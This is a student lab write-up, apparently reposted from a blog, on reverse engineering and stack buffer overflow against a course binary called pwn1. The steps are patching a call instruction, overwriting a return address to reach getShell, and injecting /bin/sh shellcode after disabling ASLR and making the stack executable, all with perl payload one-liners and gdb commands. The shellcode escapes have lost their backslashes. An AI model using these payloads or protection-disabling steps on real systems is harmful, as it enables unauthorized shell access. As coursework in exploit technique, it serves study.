zoukankan      html  css  js  c++  java
  • 20165307《网络对抗技术》Exp1 PC平台逆向破解

    实验内容

    1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell
    2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
    3. 注入一个自己制作的shellcode并运行这段shellcode

    知识点描述

    掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP:无作用。
    • JNE:若不相等则跳。
    • JE:若相等则跳。
    • JMP:无条件转移指令。段内直接短转Jmp short,段内直接近转移Jmp near,段内间接转移Jmp word,段间直接转移Jmp far。
    • CMP:比较指令,它不保存结果,只是影响相应的标志位。

    掌握反汇编与十六进制编程器

    • 反汇编指令:objdump -d objfile
    • 十六进制编程器:
    1. 输入命令vi xxx查看可执行文件内容
    2. 按esc后输入:%!xxd将显示模式切换为16进制模式
    3. 输入:%!xxd -r转换16进制为原格式

    能正确修改机器指令改变程序执行流程

    见实验步骤

    能正确构造payload进行bof攻击

    见实验步骤

    实验步骤

    任务一:直接修改程序机器指令,改变程序执行流程

    • 下载目标文件pwn1,用objdump -d pwn1 | more命令进行反汇编:

    vim pwn1

    esc->:%!xxd 将显示模式切换为16进制模式:

    找到e8d7,将其修改为e8c3

    再用objdump -d pwn1 | more命令反汇编看一下,call指令是否正确调用getShell:

    ./pwn1运行改后的代码,会得到shell提示符#:

    任务二:通过构造输入参数,造成BOF攻击,改变程序执行流

    objdump -d pwn1 | more命令反汇编:

    确认输入字符串中哪几个字符会覆盖到返回地址

    如果输入字符串 1111111122222222333333334444444412345678,那 1234 那四个数会覆盖到堆栈上的返回地址,所以只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell



    getShell的内存地址,通过反汇编时可以看到,即 0804847d 。应输入11111111222222223333333344444444x7dx84x04x08

    构造输入字符串 perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input 。然后将input的输入,通过管道符“|”,作为pwn1的输入 (cat input; cat) | ./pwn1

    任务三:注入Shellcode并执行

    修改设置
    apt-get install execstack 安装execstack命令
    execstack -s pwn1 设置堆栈可执行
    execstack -q pwn1 查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化
    echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化

    2.构造要注入的payload

    使用命令 perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode 其中前面32个A用来填满缓冲区buf,x04x03x02x01为预留的返回地址retaddr:

    接下来确定x4x3x2x1该填什么:

    打开一个终端注入这段攻击buf: (cat input_shellcode;cat) | ./20165307pwn1
    再打开另外一个终端,用gdb来调试pwn1这个进程:用ps -ef | grep 20165307pwn1命令找到pwn1的进程号是:2854

    gdb attach 2854 命令启动gdb调试这个进程:

    disassemble foo 命令反汇编:

    break *0x080484ae 命令设置断点,在进程正在运行的终端敲回车,输入c命令继续运行,使其继续执行。再返回调试终端,使用 info r esp 命令查找地址。用 x/16x 0xffffd2fc 命令查看其存放内容,看到了0x01020304,就是返回地址的位置。

    根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为 0xffffd300

    接下来只需要将之前的x4x3x2x1改为这个地址即可,用命令 perl -e 'print "A" x 32;print "x00xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    再用 (cat input_shellcode;cat) | ./20165307pwn1 命令执行程序,攻击成功


    实验感想

    实验收获与感想

    在这次实验中实现了缓冲区溢出,加深了我对堆栈的理解。

    什么是漏洞?漏洞有什么危害?

    漏洞是系统的缺陷,可以使攻击者能够在未授权的情况下访问或破坏系统。

  • 相关阅读:
    .NET实现Excel文件的读写 未测试
    权限管理设计
    struts1中配置应用
    POJ 2139 Six Degrees of Cowvin Bacon(floyd)
    POJ 1751 Highways
    POJ 1698 Alice's Chance
    POJ 1018 Communication System
    POJ 1050 To the Max
    POJ 1002 4873279
    POJ 3084 Panic Room
  • 原文地址:https://www.cnblogs.com/wangzhe1998/p/10543342.html
Copyright © 2011-2022 走看看